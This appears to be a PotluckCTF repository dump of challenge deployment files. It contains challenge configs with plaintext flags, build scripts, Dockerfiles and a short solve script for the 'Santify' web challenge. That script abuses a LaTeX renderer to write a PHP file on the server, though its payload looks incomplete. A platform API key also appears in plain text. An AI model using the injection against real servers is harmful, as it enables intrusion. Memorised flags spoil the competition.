https://storage.googleapis.com/potluckctf/challenge08-dist.tgz 10 | #custom_service_types: 11 | # - type: dns 12 | # display: "{host}" 13 | # hyperlink: false 14 | 15 | #predefined_services: 16 | # - type: dns 17 | # host: challenge08.play.potluckctf.com 18 | 19 | spec: 0.0.1 20 | challenge_id: 3e102849-a63d-4b32-8955-4391e70536f5 21 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-08/convert-terraform.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import csv 4 | import sys 5 | 6 | with open(sys.argv[1], 'r') as fin: 7 | csvreader = csv.reader(fin) 8 | for line in csvreader: 9 | print(f'"{line[0]} {line[1]}",') 10 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-09/.gitignore: -------------------------------------------------------------------------------- 1 | challenge09-dist.tgz 2 | challenge-9-for-players.tar.gz 3 | challenge-9-for-zeta-two.tar.gz 4 | exploit/ 5 | 0001-Store-the-open-file-descriptors-of-the-process-in-it.patch 6 | docker-compose.yml 7 | Dockerfile 8 | Dockerfile.build_system 9 | flag 10 | init 11 | potluck.config 12 | prebuilt_system/ 13 | prebuilt_system/bzImage 14 | prebuilt_system/initramfs.cpio.gz 15 | README.md 16 | run.sh 17 | debugging-goodies.patch 18 | initramfs.cpio.gz 19 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-09/challenge.yml: -------------------------------------------------------------------------------- 1 | title: auxv 2 | description: "Connect to the remote server with `nc -nv challenge09.play.potluckctf.com 31337`. For detailed instructions, see README.md in the provided challenge09-dist.tgz file." 3 | authors: dfyz (Ivan Komarov) 4 | categories: pwn 5 | 6 | flag_format_prefix: potluck{ 7 | flags: wh0ops_I_gu3ss_n0w_L1nus_1s_g01ng_t0_y31l_4t_m3 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge09-dist.tgz 10 | predefined_services: 11 | - type: tcp 12 | host: challenge09.play.potluckctf.com 13 | port: 31337 14 | 15 | spec: 0.0.1 16 | challenge_id: 60d5a50f-cc50-4fb6-b655-0aef503c5e4c 17 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-10/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Hungry Helmsman 2 | description: 'Welcome, chefs of the Kubernetes kitchen! The hungry Helmsman is on the lookout for a unique feast, and his palate is set on flags. Embark on the "Hungry Helmsman" challenge, where Kubernetes prowess meets culinary finesse. Craft the ultimate deployment to reveal the flag!' 3 | authors: p4ck3t0, diff-fusion 4 | categories: 5 | - misc 6 | - kubernetes 7 | 8 | flag_format_prefix: potluck{ 9 | flags: kubernetes_can_be_a_bit_weird 10 | 11 | predefined_services: 12 | - type: tcp 13 | host: challenge10.play.potluckctf.com 14 | port: 8888 15 | 16 | spec: 0.0.1 17 | challenge_id: 30685573-4bc4-4f1b-9c77-62cf10d36a9f 18 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-11/.gitignore: -------------------------------------------------------------------------------- 1 | docker-compose.yml 2 | .env 3 | bot/ 4 | php/ 5 | nginx/ 6 | solve.py 7 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-11/Dockerfile-bot.override: -------------------------------------------------------------------------------- 1 | FROM ghcr.io/puppeteer/puppeteer:latest 2 | 3 | WORKDIR /app 4 | 5 | COPY bot.js . 6 | COPY public/ ./public/ 7 | 8 | USER root 9 | RUN npm install express puppeteer 10 | 11 | USER pptruser 12 | CMD ["node", "bot.js"] 13 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-11/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Encoderchef 2 | description: "I heard Cyberchef is monitored by GCHQ so I am trying to build my own version. It is still under construction so if you see any problems with the site just send a link to the admin and they will have a look :) // (Flag is in admin cookie)" 3 | authors: ntomsic 4 | categories: web 5 | 6 | flag_format_prefix: potluck{ 7 | flags: uu_make_me_go_crazy 8 | 9 | predefined_services: 10 | - type: website 11 | url: http://challenge11.play.potluckctf.com:31337 12 | 13 | spec: 0.0.1 14 | challenge_id: 7cf2ba10-4291-4831-873b-a70f3a2d7312 15 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-12/.gitignore: -------------------------------------------------------------------------------- 1 | challenge12-dist.tgz 2 | oci-image.tar.zst 3 | oci-image.tar 4 | docker-image.tar 5 | src-806f208.zip 6 | swgcc710-cross-6b-9916.tar.gz 7 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-13/.gitignore: -------------------------------------------------------------------------------- 1 | challenge13-dist.tgz 2 | Dockerfile 3 | build_instructions.md 4 | chall.py 5 | compose.yaml 6 | config.el 7 | flag.txt 8 | solution.org 9 | solve.py 10 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-13/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Emacro-wave cooking 2 | description: 'Why did the Emacs user bring a keyboard to the restaurant? They wanted to have a "Ctrl" over their spaghetti code!' 3 | authors: tabun-dareka 4 | categories: misc 5 | 6 | flag_format_prefix: potluck{ 7 | flags: (theres-only-one-answer '(https://youtu.be/V3QF1uAvbkU)) 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge13-dist.tgz 10 | predefined_services: 11 | - type: tcp 12 | host: challenge13.play.potluckctf.com 13 | port: 31337 14 | 15 | spec: 0.0.1 16 | challenge_id: cc6f0250-c368-4216-ad2e-6ef2bc610227 17 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-14/.gitignore: -------------------------------------------------------------------------------- 1 | challenge14-dist.tgz 2 | release.7z 3 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-14/Makefile: -------------------------------------------------------------------------------- 1 | CHALLENGE_ID = 14 2 | DIST_FILE = challenge$(CHALLENGE_ID)-dist.tgz 3 | DELIVERY_BUCKET = gs://potluckctf-challenge-$(CHALLENGE_ID) 4 | 5 | build: docker-build docker-push dist 6 | 7 | dist: $(DIST_FILE) 8 | 9 | dist-push: dist 10 | gcloud storage cp $(DIST_FILE) gs://potluckctf 11 | 12 | dist-url: 13 | gcloud storage sign-url --region europe --impersonate-service-account challenge-distribution@potluck-ctf.iam.gserviceaccount.com --duration 7d gs://potluckctf/$(DIST_FILE) 14 | 15 | $(DIST_FILE): release.7z 16 | tar czvf $(DIST_FILE) release.7z 17 | 18 | clean: 19 | rm -f release.7z 20 | 21 | download: release.7z 22 | 23 | release.7z: 24 | gcloud storage cp $(DELIVERY_BUCKET)/release.7z . 25 | 26 | .PHONY: build docker-build docker-push dist dist-push download 27 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-14/challenge.yml: -------------------------------------------------------------------------------- 1 | title: GACHAAAAAtkr 2 | description: "Wow it's another gacha game... but everything is so expensive! Everyone's showing off their characters, but I don't have any. Would be a shame if there was a cheat code that could give me some! 3 | 4 | Note: The challenge was created with Python version 3.12.0a7. 5 | 6 | Thanks to enscribe (https://enscribe.dev) for the assets used in the game!" 7 | 8 | authors: Project Sekai! 9 | categories: reversing 10 | 11 | flag_format_prefix: potluck{ 12 | flags: NO_CHEAT_CODE_SMH 13 | 14 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge14-dist.tgz 15 | 16 | spec: 0.0.1 17 | challenge_id: a3825a06-39b2-4fb3-a09a-c665834ee93a 18 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-15/.gitignore: -------------------------------------------------------------------------------- 1 | challenge15-dist.tgz 2 | chal-DO-NOT-SEND-TO-PLAYERS.tar 3 | chal-v1.3.tar 4 | downloads/ 5 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-15/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Santify 2 | description: 'I found this shop that claims to provide ""delivery via reindeer sleigh"". I ordered a few things, but the cards did not arrive on time! Please find out what went wrong. 3 | 4 | Anyway, check out their web page 5 | 6 | Note: Any accounts named ADMIN, BOT or similar are regular users and not part of the challenge, please ignore them' 7 | authors: 13x1 8 | categories: web 9 | 10 | flag_format_prefix: potluck{ 11 | flags: christmas_brings_the_categories_together 12 | 13 | predefined_services: 14 | - type: website 15 | url: http://challenge15.play.potluckctf.com:31337 16 | 17 | spec: 0.0.1 18 | challenge_id: e075708d-7e0b-4971-a31f-ee09213c9774 19 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-15/solve.txt: -------------------------------------------------------------------------------- 1 | run = async cmd => { 2 | let r1 = await await fetch("/images/renderLaTeX.php", { 3 | "body": "1+1\n\\newwrite\\tempfile\n\\immediate\\openout\\tempfile=exploit.php\n\\immediate\\write\\tempfile{}\n\\immediate\\closeout\\tempfile\n", 4 | "method": "POST", 5 | }); 6 | let text = await r1.text() 7 | console.log(text) 8 | let lnk = (text).match(/\/images\/.+\//)[0] + 'exploit.php' 9 | let r2 = await fetch(lnk) 10 | return r2.text() 11 | } 12 | await run('/app/readflag') 13 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-16/.gitignore: -------------------------------------------------------------------------------- 1 | solve/ 2 | dist/ 3 | challenge16-dist.tgz 4 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-16/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Upside-down Cake 2 | description: "Let's bake a cake -- an upside-down cake full of secrets! Ready to flip the script?" 3 | authors: Neobeo 4 | categories: cryptography 5 | 6 | flag_format_prefix: potluck{ 7 | flags: y0u_c4n_hav3_y0ur_cak3_&_ea7_1t_t0o 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge16-dist.tgz 10 | 11 | spec: 0.0.1 12 | challenge_id: 9bcbb397-d90d-4604-97e2-51f1531d933c 13 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-17/.gitignore: -------------------------------------------------------------------------------- 1 | image-controller.tar.gz 2 | image-heater.tar.gz 3 | image-interface.tar.gz 4 | challenge17-dist.tgz 5 | cookmaster-dist.tar.xz 6 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-17b/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Cookmaster 2 2 | description: "It's the potluck season again! But as every year, that damn dude Jerry brought his special Cookmaster and is stealing the show with his secret sauce! But not this year. It's time to teach him a lesson! Can you steal the recipe for his secret sauce and corrupt his Cookmaster to put a bad taste to his food? 3 | 4 | You even bought your own Cookmaster to try everything before you can pull of your heist during the potluck! 5 | 6 | Flag 1: Can you access the system and extract the secret sauce? 7 | Flag 2: Great, you got system access! Now all that's left to do, hack the system and corrupt the heater to grill his sauce!" 8 | authors: gmerz & cluosh from We_0wn_Y0u 9 | categories: pwn 10 | 11 | flag_format_prefix: potluck{ 12 | flags: c4n_y0u_can_or_c4n_y0u_not_can 13 | 14 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge17-dist.tgz 15 | predefined_services: 16 | - type: website 17 | url: http://challenge17.play.potluckctf.com:31337 18 | 19 | spec: 0.0.1 20 | challenge_id: 58d9e684-266e-4fbd-8dcb-24575b205f0b 21 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-18/.gitignore: -------------------------------------------------------------------------------- 1 | challenge18-dist.tgz 2 | distributables/ 3 | secret/ 4 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-19/.gitignore: -------------------------------------------------------------------------------- 1 | challenge19-dist.tgz 2 | README.md 3 | app/ 4 | handout/ 5 | solve/ 6 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-19/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Ezrop 2 | description: "Pretty standard ret2libc pwn challenge." 3 | authors: S2G, Carixo 4 | categories: pwn 5 | 6 | flag_format_prefix: potluck{ 7 | flags: fba7f22d5125950fe906d152df039a5a 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge19-dist.tgz 10 | predefined_services: 11 | - type: tcp 12 | host: challenge19.play.potluckctf.com 13 | port: 31337 14 | 15 | spec: 0.0.1 16 | challenge_id: 4ec37fc7-5b4b-47a2-a402-c45e93b89fc5 17 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-21/.gitignore: -------------------------------------------------------------------------------- 1 | potluck_Schrodinger's\ P1G 2 | challenge21-dist.tgz 3 | potluck_Schrodingers_P1G.zip 4 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-21/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Schrödinger's P1G 2 | description: "A Virtual Machine containing a poor pig. And 0 and 1" 3 | authors: uz56764 4 | categories: pwn 5 | 6 | flag_format_prefix: potluck{ 7 | flags: c2e46b2752c11eb49d48e535d0e0b857 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge21-dist.tgz 10 | predefined_services: 11 | - type: tcp 12 | host: challenge21.play.potluckctf.com 13 | port: 31337 14 | 15 | spec: 0.0.1 16 | challenge_id: 39f21525-ea8e-44aa-ad3d-1dff28f4abaa 17 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-22/.gitignore: -------------------------------------------------------------------------------- 1 | sekurbut.tar 2 | flagloader2.hex 3 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-22/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM sekurbut 2 | RUN apk add --no-cache socat htop 3 | ENTRYPOINT [ "socat", "tcp-l:1337,fork,reuseaddr", "exec:'qemu-system-arm -M microbit -device loader,file=flagloader.hex -nographic -serial stdio -monitor /dev/null'" ] 4 | EXPOSE 1337 5 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-22/challenge.yml: -------------------------------------------------------------------------------- 1 | title: "baby sekurbut" 2 | description: | 3 | This weird arcade machine just got delivered to you. It seems broken, but there's a serial port on the back. You connect, and are greeted with a weird shell... 4 | 5 | Note (relevant for part 2: sekurbut): For fairness, we've re-hosted the previous version as well at challenge30.play.potluckctf.com If you have found a bug that works there but not on the newer versions, don't waste time on it, it's an unintended red herring. The intended solution works on both version. The change in offsets in the bootloader is not relevant to the exploit. 6 | 7 | authors: plonk 8 | categories: 9 | - misc 10 | - hardware 11 | 12 | flag_format_prefix: potluck{ 13 | flags: duMp1n6_th3_b0o7l0ad3r_4_fuN_&_pr0f1t 14 | 15 | predefined_services: 16 | - type: tcp 17 | host: challenge22.play.potluckctf.com 18 | port: 31337 19 | - type: tcp 20 | host: challenge30.play.potluckctf.com 21 | port: 31337 22 | 23 | spec: 0.0.1 24 | challenge_id: b178d797-6ab5-44d6-b7c6-e71c030224e9 25 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-22/v2.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM sekurbut2 2 | ADD flagloader2.hex flagloader.hex 3 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-23/.gitignore: -------------------------------------------------------------------------------- 1 | challenge23-dist.tgz 2 | update.sal 3 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-23/Makefile: -------------------------------------------------------------------------------- 1 | CHALLENGE_ID = 23 2 | LOCAL_IMAGE = potluckctf:challenge-$(CHALLENGE_ID) 3 | REMOTE_IMAGE = europe-west3-docker.pkg.dev/potluck-ctf/challenge$(CHALLENGE_ID)-repository/challenge$(CHALLENGE_ID):latest 4 | DIST_FILE = challenge$(CHALLENGE_ID)-dist.tgz 5 | DELIVERY_BUCKET = gs://potluckctf-challenge-$(CHALLENGE_ID) 6 | 7 | build: docker-build docker-push dist 8 | 9 | dist: $(DIST_FILE) 10 | 11 | dist-push: dist 12 | gcloud storage cp $(DIST_FILE) gs://potluckctf 13 | 14 | dist-url: 15 | gcloud storage sign-url --region europe --impersonate-service-account challenge-distribution@potluck-ctf.iam.gserviceaccount.com --duration 7d gs://potluckctf/$(DIST_FILE) 16 | 17 | $(DIST_FILE): update.sal 18 | tar czvf $(DIST_FILE) update.sal 19 | 20 | clean: 21 | rm -f update.sal 22 | 23 | download: update.sal 24 | 25 | update.sal: 26 | gcloud storage cp gs://potluckctf-challenge-22/update.sal . 27 | 28 | .PHONY: build docker-build docker-push dist dist-push download 29 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-24/.gitignore: -------------------------------------------------------------------------------- 1 | challenge24-dist.tgz 2 | README.md 3 | public.tgz 4 | solve.py 5 | public/ 6 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-24/challenge.yml: -------------------------------------------------------------------------------- 1 | title: "Traditional Feast: Nginx Spagetthi" 2 | description: "Imagine a world where your code soars on the performance of nginx, dancing gracefully with modern scripting and transformation powers. While PHP aficionados are still trying to figure out their 500 internal errors and CGI fans are busy scripting their way to the last century, you'll be light-years ahead, sipping espresso and deploying functionalities like it's nobody's business." 3 | authors: BitK, XeR 4 | categories: web 5 | 6 | flag_format_prefix: potluck{ 7 | flags: concocted_cyber_casserole 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge24-dist.tgz 10 | predefined_services: 11 | - type: website 12 | url: http://challenge24.play.potluckctf.com:31337 13 | 14 | spec: 0.0.1 15 | challenge_id: 1a0fd2a5-7954-4d5d-8ec7-66dab1f64ef6 16 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-25/.gitignore: -------------------------------------------------------------------------------- 1 | challenge25-dist.tgz 2 | downloads/ 3 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-25/challenge.yml: -------------------------------------------------------------------------------- 1 | title: sandboxes 2 | description: "With our state-of-the-art sandbox, you can nuke anything without any worries. Can you get the flag though?" 3 | authors: borysp, valis 4 | categories: pwn 5 | 6 | flag_format_prefix: potluck{ 7 | flags: D1D_y0u_R34P_iT 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge25-dist.tgz 10 | predefined_services: 11 | - type: tcp 12 | host: challenge25.play.potluckctf.com 13 | port: 31337 14 | 15 | spec: 0.0.1 16 | challenge_id: 8a57d58f-546f-4c62-8488-41153944260b 17 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-26/.gitignore: -------------------------------------------------------------------------------- 1 | downloads/ 2 | challenge26-dist.tgz 3 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-26/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Tamagoyaki 2 | description: "Tamagoyaki (literally 'grilled egg') is a Japanese omelette crafted by rolling layers of fried, beaten eggs. 3 | 4 | Tamagoyaki shares similarities with glibc's malloc, as it also contains several layers of fried and beaten code. 5 | 6 | Note: Expect 4 bits of bruteforce; Anything above that is probably a bad idea" 7 | 8 | authors: UDP - Blue Water 9 | categories: pwn 10 | 11 | flag_format_prefix: potluck{ 12 | flags: ptr_pr0t_i5_c00l_n_411_bu7_d03s_1t_wrk? 13 | 14 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge26-dist.tgz 15 | predefined_services: 16 | - type: tcp 17 | host: challenge26.play.potluckctf.com 18 | port: 31337 19 | 20 | spec: 0.0.1 21 | challenge_id: 13b16fa2-7bf1-4a5a-89eb-de39e9f2e208 22 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-27/.gitignore: -------------------------------------------------------------------------------- 1 | challenge27-dist.tgz 2 | shells-kitchen/ 3 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-27/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Pot Of Gold 2 | description: "You are tasked to help out in the kitchen of the elusive g0rd0n r4ms4y. This rude chef needs to be put in his place real bad! Show us you're an elite chef and attempt a coup of his little kitchen." 3 | authors: blasty 4 | categories: 5 | - pwn 6 | - reversing 7 | 8 | flag_format_prefix: potluck{ 9 | flags: 3y3_4m_n0t_th3_0n3_t0_s0Rt_0f_s1T_4nD_cRY_0v3R_sP1Lt_m1LK!1!! 10 | 11 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge27-dist.tgz 12 | predefined_services: 13 | - type: tcp 14 | host: challenge27.play.potluckctf.com 15 | port: 31337 16 | 17 | spec: 0.0.1 18 | challenge_id: 678a6e02-8148-4b86-8589-e90c5d2056f7 19 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-28/.gitignore: -------------------------------------------------------------------------------- 1 | challenge28-dist.tgz 2 | Dockerfile 3 | flag.txt 4 | main.py 5 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-28/challenge.yml: -------------------------------------------------------------------------------- 1 | title: tacocat 2 | description: "We weren't sure what to bring to the potluck, but we figured another pyjail would always be welcome. " 3 | authors: "Les Amateurs: HELLOPERSON, unvariant.winter, stuxf" 4 | categories: misc 5 | 6 | flag_format_prefix: potluck{ 7 | flags: tac0_fun_can_you_g0lf_it_m0re 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge28-dist.tgz 10 | predefined_services: 11 | - type: tcp 12 | host: challenge28.play.potluckctf.com 13 | port: 31337 14 | 15 | spec: 0.0.1 16 | challenge_id: 061b78c9-f533-46d0-b98c-3864d2599d11 17 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-29/.gitignore: -------------------------------------------------------------------------------- 1 | challenge29-dist.tgz 2 | challenge29-dist.tar.gz 3 | service.tar.gz 4 | docker-compose.yml 5 | Dockerfile 6 | requirements.txt 7 | server.py 8 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-29/challenge.yml: -------------------------------------------------------------------------------- 1 | title: REhoST 2 | description: Our development team created a secure way of booting firmware by authenticating against a different chip. We have the firmware, however we don't have the secure chip at hand :c Can you help us by emulating the secure processor so that we can boot our firmware? 3 | authors: Liikt 4 | categories: 5 | - reversing 6 | - misc 7 | 8 | flag_format_prefix: potluck{ 9 | flags: R3h05TinG_4s_4_S3rv1c3_1s_7h3_Fu7ur3!!! 10 | 11 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge29-dist.tgz 12 | predefined_services: 13 | - type: website 14 | url: http://challenge29.play.potluckctf.com:31337 15 | 16 | spec: 0.0.1 17 | challenge_id: ba85abb9-1889-47dd-9221-7e339eec3e08 18 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-30/.gitignore: -------------------------------------------------------------------------------- 1 | sekurbut.tar 2 | flagloader2.hex 3 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-30/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM sekurbut 2 | RUN apk add --no-cache socat htop 3 | ENTRYPOINT [ "socat", "tcp-l:1337,fork,reuseaddr", "exec:'qemu-system-arm -M microbit -device loader,file=flagloader.hex -nographic -serial stdio -monitor /dev/null'" ] 4 | EXPOSE 1337 5 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-30/Makefile: -------------------------------------------------------------------------------- 1 | CHALLENGE_ID = 30 2 | LOCAL_IMAGE = potluckctf:challenge-$(CHALLENGE_ID) 3 | REMOTE_IMAGE = europe-west3-docker.pkg.dev/potluck-ctf/challenge$(CHALLENGE_ID)-repository/challenge$(CHALLENGE_ID):latest 4 | DELIVERY_BUCKET = gs://potluckctf-challenge-22 5 | 6 | build: docker-build docker-push challenge22-dist.tgz 7 | 8 | sekurbut-image: sekurbut.tar 9 | docker load -i sekurbut.tar 10 | 11 | docker-build: sekurbut-image 12 | docker build -t $(LOCAL_IMAGE) . 13 | 14 | docker-push: docker-build 15 | docker tag $(LOCAL_IMAGE) $(REMOTE_IMAGE) 16 | docker push $(REMOTE_IMAGE) 17 | 18 | challenge22-dist.tgz: DIST-DEPENDENCIES 19 | tar czvf challenge22-dist.tgz DIST-DEPENDENCIES 20 | 21 | clean: 22 | rm -f sekurbut.tar flagloader2.hex 23 | 24 | download: sekurbut.tar flagloader2.hex 25 | 26 | flagloader2.hex: 27 | gcloud storage cp $(DELIVERY_BUCKET)/flagloader2.hex . 28 | 29 | sekurbut.tar: 30 | gcloud storage cp $(DELIVERY_BUCKET)/sekurbut.tar . 31 | 32 | .PHONY: build docker-build docker-push dist dist-push download 33 | -------------------------------------------------------------------------------- /challenge-deployment/ctf.yml: -------------------------------------------------------------------------------- 1 | custom: 2 | platform_url: https://play.potluckctf.com 3 | platform_api_key: 8e3e70e6470838439e1d2bcf7cb7b4d1 4 | -------------------------------------------------------------------------------- /challenges/challenge-01/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-01/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-01/service/Dockerfile: -------------------------------------------------------------------------------- 1 | # this is the only distro with a sufficiently up-to-date qemu, why 2 | FROM fedora as app 3 | 4 | ADD cake-of-paranoia-with-flag /cake-of-paranoia-with-flag 5 | 6 | RUN dnf install -y qemu-system-x86 socat 7 | ADD entrypoint.sh /usr/local/bin/entrypoint.sh 8 | 9 | FROM pwn.red/jail 10 | 11 | COPY --from=app / /srv 12 | 13 | RUN rm -r /srv/var/tmp && ln -s /tmp /srv/var/tmp && mkdir /srv/app && ln -s /usr/local/bin/entrypoint.sh /srv/app/run 14 | 15 | ENV JAIL_POW=45000 JAIL_TMP_SIZE=68719476736 JAIL_DEV=null,zero,urandom,kvm JAIL_PIDS=0 JAIL_TIME=0 JAIL_MEM=0 JAIL_CPU=0 16 | -------------------------------------------------------------------------------- /challenges/challenge-01/service/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | set -m 4 | 5 | cleanup() { 6 | trap "" INT TERM EXIT 7 | kill $(jobs -p) 2>/dev/null || true 8 | rm -rf "${socks}" 9 | exit 0 10 | } 11 | 12 | socks="$(mktemp -d)" 13 | trap cleanup INT TERM EXIT 14 | 15 | echo 16 | echo '-------------------------------------------------------------------------' 17 | echo "booting! please wait ~30 seconds" 18 | echo "you should have a shell once Network Unreachable/Connection Refused stops" 19 | echo "good luck!" 20 | echo '-------------------------------------------------------------------------' 21 | echo 22 | 23 | qemu-system-x86_64 -accel kvm -display none -serial unix:"${socks}/entrypoint",server -drive "file=/cake-of-paranoia-with-flag,format=qcow2" -machine q35,usb=off,dump-guest-core=off,hpet=off,acpi=on -m 1G -snapshot & &/dev/null 24 | 25 | while ! socat -s - unix-connect:"${socks}/entrypoint"; do 26 | sleep .5 27 | done 28 | -------------------------------------------------------------------------------- /challenges/challenge-01/solution/evil_id_ed25519: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-01/solution/evil_id_ed25519 -------------------------------------------------------------------------------- /challenges/challenge-01/solution/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # read the pow and then execute the actual solver 4 | (head -n 1; ./solve-helper.sh; sleep 1) | socat - tcp-connect:localhost:5000 5 | -------------------------------------------------------------------------------- /challenges/challenge-01/vm-files/entrypoint: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while true; do 4 | sleep .5 5 | socat -s TCP-CONNECT:192.168.250.230:1337 - 6 | done 7 | -------------------------------------------------------------------------------- /challenges/challenge-01/vm-files/ubuntu.nspawn: -------------------------------------------------------------------------------- 1 | [Exec] 2 | Boot=true 3 | PrivateUsers=false 4 | SystemCallFilter=add_key keyctl bpf 5 | 6 | [Network] 7 | Zone=guests 8 | Port=1337 9 | 10 | [Files] 11 | Bind=/dev/fuse 12 | -------------------------------------------------------------------------------- /challenges/challenge-03/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "abc" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | rug = "1.22" 8 | static_init = "1.0" 9 | scanf = "1.2" 10 | sha2 = "0.10" -------------------------------------------------------------------------------- /challenges/challenge-03/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:buster 2 | 3 | RUN apt-get update -y && apt-get install -y xinetd 4 | 5 | RUN useradd -m ctf 6 | 7 | WORKDIR /home/ctf 8 | COPY flag.txt Cargo.toml Cargo.lock ./ 9 | COPY src ./src 10 | RUN cargo build --release && \ 11 | mv target/release/abc . && \ 12 | rm -rf target src Cargo.* 13 | 14 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 15 | COPY ./start.sh /start.sh 16 | RUN echo "Blocked by xinetd" > /etc/banner_fail 17 | 18 | RUN chmod +x /start.sh 19 | 20 | RUN chown -R root:ctf /home/ctf && \ 21 | chmod -R 750 /home/ctf && \ 22 | chmod 740 /home/ctf/flag.txt 23 | 24 | CMD ["/start.sh"] 25 | 26 | EXPOSE 9999 -------------------------------------------------------------------------------- /challenges/challenge-03/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-03/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-03/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = ctf 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /home/ctf/abc 12 | banner_fail = /etc/banner_fail 13 | # safety options 14 | per_source = 10 # the maximum instances of this service per source IP address 15 | rlimit_cpu = 5 # the maximum number of CPU seconds that the service may use 16 | #rlimit_as = 1024M # the Address Space resource limit for the service 17 | } -------------------------------------------------------------------------------- /challenges/challenge-03/flag.txt: -------------------------------------------------------------------------------- 1 | potluck{192_DisCr3te_L0g_I$_5upr1sing1y_triVi4l@!@!!} -------------------------------------------------------------------------------- /challenges/challenge-03/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | export FLAG="$(cat /home/ctf/flag.txt)" 4 | /etc/init.d/xinetd start; 5 | sleep infinity; -------------------------------------------------------------------------------- /challenges/challenge-04/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-04/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/.envrc: -------------------------------------------------------------------------------- 1 | use flake 2 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | target-ra 3 | target-battleroom 4 | .direnv 5 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | 3 | members = ["crates/*"] 4 | resolver = "2" 5 | 6 | [profile.release] 7 | strip = true 8 | # lto = "fat" 9 | 10 | [profile.dev.package."*"] 11 | opt-level = 